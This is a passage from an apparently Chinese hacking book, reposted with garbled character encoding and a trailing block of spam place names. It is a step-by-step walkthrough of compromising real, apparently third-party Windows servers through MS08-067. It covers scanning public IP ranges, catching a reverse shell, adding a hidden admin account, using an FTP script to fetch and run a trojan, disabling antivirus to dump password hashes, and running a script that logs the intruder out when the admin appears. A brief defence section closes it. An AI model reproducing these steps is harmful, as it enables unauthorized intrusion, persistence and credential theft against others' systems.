官术网_书友最值得收藏!

2.8 MS08-067遠程溢出漏洞利用實戰(zhàn)

微軟的正版驗證機制發(fā)布后不久,就爆出了針對中文版本的MS08-067漏洞。下面對MS08-067遠程溢出漏洞進行實戰(zhàn)分析。

2.8.1 MS08-067漏洞描述

MS08-067漏洞的全稱為“Windows Server服務(wù)RPC請求緩沖區(qū)溢出漏洞”,如果用戶在受影響的系統(tǒng)上收到特制的RPC請求,則該漏洞可能允許遠程執(zhí)行代碼。在Windows 2000、Windows XP和Windows Server 2003系統(tǒng)中,攻擊者可能未經(jīng)身份驗證即可利用此漏洞運行任意代碼。此漏洞可用于進行蠕蟲攻擊,目前已經(jīng)出現(xiàn)了利用該漏洞的蠕蟲病毒。默認(rèn)的防火墻配置有助于保護網(wǎng)絡(luò)資源免受從外部發(fā)起的攻擊(默認(rèn)情況下能建立空連接)。

MS08-067比“沖擊波”還要厲害,通過筆者的實際測試,掃描一個網(wǎng)段至少能發(fā)現(xiàn)上百臺存在該漏洞的計算機,只要是中文版本的Windows操作系統(tǒng)(Windows Vista除外),無一幸免!

2.8.2 實戰(zhàn)MS08-067遠程漏洞利用

1.掃描445端口

關(guān)于MS08-067漏洞,據(jù)相關(guān)資料稱,只要掃描到開放的139、445端口,就有可能利用該漏洞來實施遠程溢出。因此,我們首先使用工具軟件掃描445端口。掃描的工具有很多,下面介紹兩種在DOS下的掃描工具,一個是sfind.exe,另一個是s.exe。前者命令為“sfind-p 445 IP地址1 IP地址2”,例如“sfind-p 445218.99.0.1218.99.0.255”;后者的推薦命令格式為“s tcp 218.99.0.1218.99.255.255445 512/save”。這兩個軟件掃描完成后會自動保存結(jié)果,可以在肉機后臺工作。筆者采用sfind.exe對附近的計算機進行445端口掃描,如圖2-59所示,一共找出7臺計算機。如果是大范圍掃描,推薦使用后一種掃描軟件,因為其掃描速度較快。

圖2-59 使用sfind掃描445端口

說明

由于掃描出來的結(jié)果比較少,所以直接在命令行界面查看就可以了。如果結(jié)果比較多,可以到sfind掃描目錄下打開sfind.txt查看掃描結(jié)果。

2.使用MS08-067溢出工具對結(jié)果進行溢出嘗試

將獲取的代碼在VC環(huán)境中編譯,將生成的程序命名為“MS0867”,然后打開DOS界面,將MS08-067.exe程序復(fù)制到當(dāng)前操作目錄下,直接輸入程序的名稱,回車后即可看到具體的使用方式。MS08-067漏洞的使用方法為“MS08-067 IP地址”, IP地址為存在該漏洞的服務(wù)器或者個人計算機的IP地址。輸入可能存在該漏洞的IP地址218.*.*.*,顯示結(jié)果“SMB Connect OK! Maybe Patched! ”,如圖2-60所示。

圖2-60 對存在漏洞的服務(wù)器進行溢出

注意

·在溢出過程中還有多種提示,例如“Make SMB Connection error:64”。

·出現(xiàn)“Maybe Patched! ”提示的計算機也可能溢出成功。

·僅對中文版本有效,對其他版本的服務(wù)器,即使存在445漏洞也無法溢出,原因是操作系統(tǒng)溢出點的內(nèi)存地址不同。

3.監(jiān)聽4444端口

在執(zhí)行掃描的計算機上使用nc監(jiān)聽4444端口,具體命令為“nc-vv IP地址4444”(例如“nc-vv 218.69.*.24444”)。不成功的溢出顯示結(jié)果,例如“Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY _ AGAIN 71.27.22.218.broad. static.hf.ah.cndata.com [218.22.27.71] 4444 (? ) : TIMEDOUT sent 0, rcvd 0: NOTSOCK”,這說明218.22.27.71可能已經(jīng)安裝了補丁或者防火墻禁止了對外連接等。

說明

在MS08-067中可以定制監(jiān)聽端口,不過該端口需要在源程序中定制。

4.繼續(xù)進行溢出

換一個IP地址執(zhí)行溢出。重新監(jiān)聽該IP地址,如圖2-61所示,得到我們比較熟悉的反彈Shell窗口。筆者在本地虛擬機上執(zhí)行了很多次測試都未成功,但在實際環(huán)境中卻能測試成功。

圖2-61 溢出成功

5.查看服務(wù)器信息

對溢出的計算機,先要了解其配置等信息,例如操作系統(tǒng)版本、系統(tǒng)配置情況等,然后決定是否對其進行控制等后續(xù)操作。如果僅僅是普通個人計算機,而且配置極差,控制的意義不大。在這里使用“type c:\boot.ini”命令查看操作系統(tǒng)類型,如圖2-62所示,該服務(wù)器為Windows Server 2003企業(yè)版服務(wù)器,顯然有進一步控制的必要了。

圖2-62 查看服務(wù)器版本等信息

6.添加管理員賬號

既然是服務(wù)器,那就先添加一個管理員賬號吧。如圖2-63所示,使用“net user king$ nohacker/add”、“net localgroup administrators king$/add”及“net localgroup administrators”命令添加“king$”用戶,密碼為“nohacker”,并查看是否將“king$”用戶加入到管理員組中。

圖2-63 添加一個用戶到管理員組中

7.上傳文件

上傳文件有多種方法,個人推薦FTP腳本法,即在某個站點或者自己假設(shè)一個臨時FTP服務(wù)器,然后使用以下腳本下載ma.exe。

        echo open 218.*.*.* >b
        echo ftp>>b
        echo ftp>>b
        echo bin>>b
        echo get ma.exe>>b
        echo bye>>b
        ftp -s:b
        del b

將以上腳本直接粘貼在反彈Shell中,即可從FTP服務(wù)器上下載,然后就可以在反彈的Shell中執(zhí)行下載的文件了。在本次滲透過程中,由于是相鄰的IP地址,因此使用了一個簡便的方法,即單擊“開始”→“運行”選項,在其中輸入“\\IP\admin$”或者“\\IP\C$”并單擊“確定”按鈕,如圖2-64所示。如果能夠連接,會出現(xiàn)一個輸入網(wǎng)絡(luò)密碼的提示框,在“用戶”和“密碼”文本框中分別輸入剛才添加的用戶名。

圖2-64 打開網(wǎng)絡(luò)連接

如果驗證正確,則可以像使用資源管理器一樣使用被溢出計算機所建立的磁盤連接。如圖2-65所示,順利打開該服務(wù)器的系統(tǒng)盤,將木馬、獲取系統(tǒng)密碼、查看系統(tǒng)信息等工具軟件復(fù)制進去。

圖2-65 打開被溢出服務(wù)器的系統(tǒng)盤

8.獲取系統(tǒng)詳細信息及執(zhí)行各種命令

使用MS08-067溢出工具成功溢出服務(wù)器后,還可以使用“telnet IP地址4444”命令連接被溢出的服務(wù)器。如圖2-66所示,筆者使用telnet進行了嘗試,獲取了系統(tǒng)信息并開放了3389端口。

圖2-66 使用telnet連接被溢出計算機

說明

· telnet連接被溢出計算機不如反彈Shell好用,在telnet中有可能看不到輸入,或者輸入后反應(yīng)較為遲鈍。

·可以使用如下腳本來查看對方服務(wù)器的3389端口。

        Echo Dim ReadComputerName >>port.vbs
        Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
        Echo Dim TSName, TSRegPath >>port.vbs
        Echo    TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal    Server\
    WinStations\RDP-Tcp\PortNumber" >>port.vbs
        Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
        Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
        Cscript port.vbs

9.登錄被溢出服務(wù)器

打開mstsc遠程終端連接器,輸入IP地址、剛才添加的用戶名和密碼,驗證成功后順利進入服務(wù)器,如圖2-67所示。

圖2-67 順利進入被溢出服務(wù)器

10.加固服務(wù)器

俗話說:“打江山容易,守江山難?!背晒タ朔?wù)器后,要先對計算機的安全狀況和所采取的安全措施進行了解。根據(jù)筆者的經(jīng)驗,應(yīng)先進行簡單的加固,如圖2-68所示,就地取材,看看系統(tǒng)中有哪些殺毒軟件,例如360安全衛(wèi)士等,再對系統(tǒng)的補丁進行修復(fù),刪除其他木馬程序等。在本案例中,利用瑞星的漏洞掃描程序?qū)ο到y(tǒng)進行掃描,然后進行修復(fù)。

圖2-68 掃描系統(tǒng)漏洞并修復(fù)

注意

如果系統(tǒng)中安裝了瑞星等殺毒軟件,使用getpw獲取系統(tǒng)賬號將會失敗,這個時候就要想辦法開放服務(wù)器的遠程終端。登錄系統(tǒng)后,禁用殺毒軟件,然后使用getpw命令獲取系統(tǒng)的Hash密碼。getpw命令獲取密碼的格式為“getpw $local”,獲取的Hash密碼一定要在Shell中,否則獲取的Hash密碼為空。將獲取的值復(fù)制到TXT文件中,并去除內(nèi)容中的空格,正確的格式如圖2-69所示。

圖2-69 獲取的密碼Hash值

如果被溢出服務(wù)器已經(jīng)開放了3389端口,則登錄后要注意管理員是否在線。以前網(wǎng)上有一些批處理腳本,當(dāng)管理員登錄后,腳本會自動注銷當(dāng)前登錄用戶。感謝“孤水繞城”提供了這樣一個腳本,具體如下。

        on error resume next
        set arg=wscript.arguments
        If arg.count=0 then
        wscript.echo "use:// cscript.exe FS.vbs port"
        sleep 1000
        wscript.quit
        End If
        Tport=arg(0)
        Runs=false
        While runs=false
        Dim oShell, oExec, strOut, oRegExp, Matches, Match, Num, Tport
        Set oShell = WScript.CreateObject("WScript.Shell")
        Set oExec = oShell.Exec("netstat -an")
        Set oRegExp = new RegExp
        oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"
        oRegExp.IgnoreCase = True
        oRegExp.Global = True
        Do While Not oExec.StdOut.AtEndOfStream
        strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
        Loop
        Set Matches = oRegExp.Execute(strOut)
        Num = 0
        For Each Match In Matches
        Num = Num + 1
        Next
        if num > 1 then
        Runs=true
        oShell.run "logoff"
        end if
        Set Matches = Nothing
        Set oRegExp = Nothing
        Set oExec = Nothing
        Set oShell = Nothing
        Wend

11.破解Hash值

直接使用LC5導(dǎo)入即可。

12.繼續(xù)溢出

測試成功后,繼續(xù)對掃描結(jié)果進行溢出,毫無疑問,Windows XP、Window 2000 Server、Windows 2000 Professional及Windows Server 2003均可成功溢出。如圖2-70所示為成功溢出Windows 2000服務(wù)器。

圖2-70 溢出其他類型的服務(wù)器

2.8.3 防范措施

1.安裝360安全衛(wèi)士和升級系統(tǒng)補丁

首先就是升級系統(tǒng)補丁,推薦使用360安全衛(wèi)士,使用其掃描功能,發(fā)現(xiàn)問題按照提示糾正即可。還有就是要及時升級360安全衛(wèi)士的版本,在實際溢出過程中,筆者發(fā)現(xiàn)很多服務(wù)器上都安裝了殺毒軟件及360安全衛(wèi)士,但由于其版本太低,未及時更新補丁程序,失去了應(yīng)有的防范能力。

2.安裝防火墻

在本次溢出過程中,筆者還發(fā)現(xiàn),在存在防火墻的情況下,成功溢出的概率幾乎為零。因此,推薦在系統(tǒng)中安裝防火墻,這對內(nèi)外網(wǎng)防范都是有效的。

主站蜘蛛池模板: 大关县| 肇州县| 秭归县| 古浪县| 汶川县| 宜丰县| 敖汉旗| 灵山县| 金坛市| 伽师县| 济南市| 永登县| 黎城县| 乳山市| 瓮安县| 松桃| 太仓市| 营口市| 麟游县| 航空| 兴安盟| 青田县| 淄博市| 常山县| 象山县| 兴国县| 安远县| 保定市| 务川| 龙州县| 平乐县| 长岛县| 扎兰屯市| 宁国市| 兴仁县| 南昌县| 阿拉善左旗| 南宫市| 赞皇县| 西乌| 彭阳县|